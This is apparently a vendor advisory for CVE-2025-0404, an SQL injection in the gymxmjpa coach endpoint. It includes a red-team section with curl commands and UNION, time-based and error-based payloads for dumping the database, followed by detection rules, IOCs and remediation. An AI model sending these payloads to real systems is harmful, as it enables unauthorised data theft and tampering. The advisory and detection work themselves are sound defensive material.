CVE-2025-0404
Executive Summary
CVE-2025-0404 is a critical SQL injection vulnerability discovered in the liujianview gymxmjpa application, version 1.0. The flaw resides in the CoachController class, specifically within the file src/main/java/com/liujian/gymxmjpa/controller/CoachController.java. By manipulating the coachName argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or complete database compromise. The exploit has been publicly disclosed, and no official patch is currently available. This vulnerability poses a severe risk to any deployment of this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone Java application. However, the lack of a patch and public exploit details means any organization using this software is at immediate risk.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): High (H) - Full database read access possible.
- Integrity (I): High (H) - Data can be modified or deleted.
- Availability (A): High (H) - Database can be disrupted or destroyed.
Threat Level: Critical. Immediate action is required.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the CoachController class. The application likely constructs a SQL query by directly concatenating the user-supplied coachName parameter without proper sanitization or parameterized queries.
Vulnerable Code Path:
- An HTTP request is sent to an endpoint handled by
CoachController. - The
coachNameparameter is extracted from the request. - This parameter is directly embedded into a SQL query string, e.g.,
String query = "SELECT * FROM coaches WHERE name = '" + coachName + "'"; - The query is executed against the database.
Exploitation Mechanics:
An attacker can inject SQL metacharacters (e.g., single quote ') to break out of the intended string context and append malicious SQL clauses. For example, a payload like ' OR '1'='1 would result in the query: SELECT * FROM coaches WHERE name = '' OR '1'='1', which returns all rows. More advanced payloads can be used for UNION-based data extraction, error-based inference, or time-based blind injection.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// src/main/java/com/liujian/gymxmjpa/controller/CoachController.java
@GetMapping("/coach")
public List<Coach> getCoach(@RequestParam String coachName) {
String sql = "SELECT * FROM coaches WHERE name = '" + coachName + "'";
// Execute SQL directly
return jdbcTemplate.query(sql, new CoachRowMapper());
}
Patched Code (Conceptual - Not Provided):
// Patched version using parameterized queries
@GetMapping("/coach")
public List<Coach> getCoach(@RequestParam String coachName) {
String sql = "SELECT * FROM coaches WHERE name = ?";
return jdbcTemplate.query(sql, new Object[]{coachName}, new CoachRowMapper());
}
The patched code uses a parameterized query (? placeholder) which ensures the coachName value is treated as data, not executable SQL. This is the standard and secure approach.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running
liujianview gymxmjpaversion 1.0. - Network access to the vulnerable endpoint (e.g.,
/coach).
Exploit Steps:
- Identify the vulnerable endpoint: Use a web crawler or manual inspection to find endpoints that accept a
coachNameparameter. - Confirm SQL injection: Send a request with a single quote to trigger an error.
If an SQL error is returned, the vulnerability is confirmed.curl "http://target.com/coach?coachName=test'" - Extract data (UNION-based): Determine the number of columns and inject a UNION SELECT.
Adjust the number of columns until the query succeeds.curl "http://target.com/coach?coachName=' UNION SELECT 1,2,3,4--" - Dump database: Extract table names, column names, and data.
curl "http://target.com/coach?coachName=' UNION SELECT 1,table_name,3,4 FROM information_schema.tables--"
Example Payloads:
- Boolean-based:
' OR '1'='1 - Time-based:
' OR SLEEP(5)-- - Error-based:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))--
Blue Team (Defensive)
Detection:
- Monitor web server logs for SQL injection patterns (e.g.,
' OR,UNION SELECT,SLEEP(). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts.
- Use the detection rules provided in the Detection Engineering section.
Mitigation (Immediate):
- If possible, take the vulnerable application offline until a patch is available.
- Implement input validation: Reject any input containing SQL metacharacters.
- Use a WAF to filter malicious requests.
- Apply the principle of least privilege to the database user used by the application.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to endpoints like
/coachwith parameters containing SQL keywords (',OR,UNION,SELECT,SLEEP,EXTRACTVALUE). - Unusual database error messages in HTTP responses (e.g.,
SQL syntax,MySQL,ORA-). - Outbound database connections from the application server to unexpected IPs (data exfiltration).
- HTTP requests to endpoints like
Host IOCs:
- Unexpected files in the application directory (e.g., dumped data).
- Modified application logs showing SQL errors.
- High CPU or memory usage on the database server (due to heavy queries).
File IOCs:
- The vulnerable file:
src/main/java/com/liujian/gymxmjpa/controller/CoachController.java(version 1.0).
- The vulnerable file:
Detection Engineering
YARA Rule
rule CVE_2025_0404_SQLi_CoachController {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-0404 in liujianview gymxmjpa"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0404"
strings:
$sqli1 = /coachName=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|EXTRACTVALUE)/i
$sqli2 = /coachName=.*--/i
$sqli3 = /coachName=.*%27/i
condition:
any of them
}
Sigma Rule
title: SQL Injection Attempt Against CoachController
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the coachName parameter in liujianview gymxmjpa
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "coachName="
cs-uri-query|re:
- ".*['\"]\\s*(OR|AND|UNION|SELECT|SLEEP|EXTRACTVALUE).*"
- ".*--.*"
- ".*%27.*"
condition: selection
falsepositives:
- Legitimate use of special characters in coach names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0404 SQL Injection Attempt"; flow:to_server,established; content:"coachName="; nocase; pcre:"/(%27|'|--|\\b(OR|AND|UNION|SELECT|SLEEP|EXTRACTVALUE)\\b)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If possible, disconnect the vulnerable application from the network until a patch is available.
- Apply virtual patching: Use a WAF to block requests containing SQL injection patterns in the
coachNameparameter. - Input validation: Implement strict input validation on the server side. Reject any input that contains non-alphanumeric characters (except spaces and hyphens, if needed).
- Database hardening: Ensure the database user used by the application has the minimum necessary privileges (e.g., read-only for most operations).
Long-term Fix:
- Rewrite the vulnerable code: Replace string concatenation with parameterized queries (prepared statements) as shown in the patched code example.
- Conduct a security audit: Review all other controllers for similar vulnerabilities.
- Implement a secure development lifecycle: Include static code analysis and penetration testing in the development process.
Patch Status: No official patch is available. The vendor (liujianview) has not released a fix. Users must implement the mitigations above or fork the code to apply a fix themselves.
Valters IT
Securing Digital Frontiers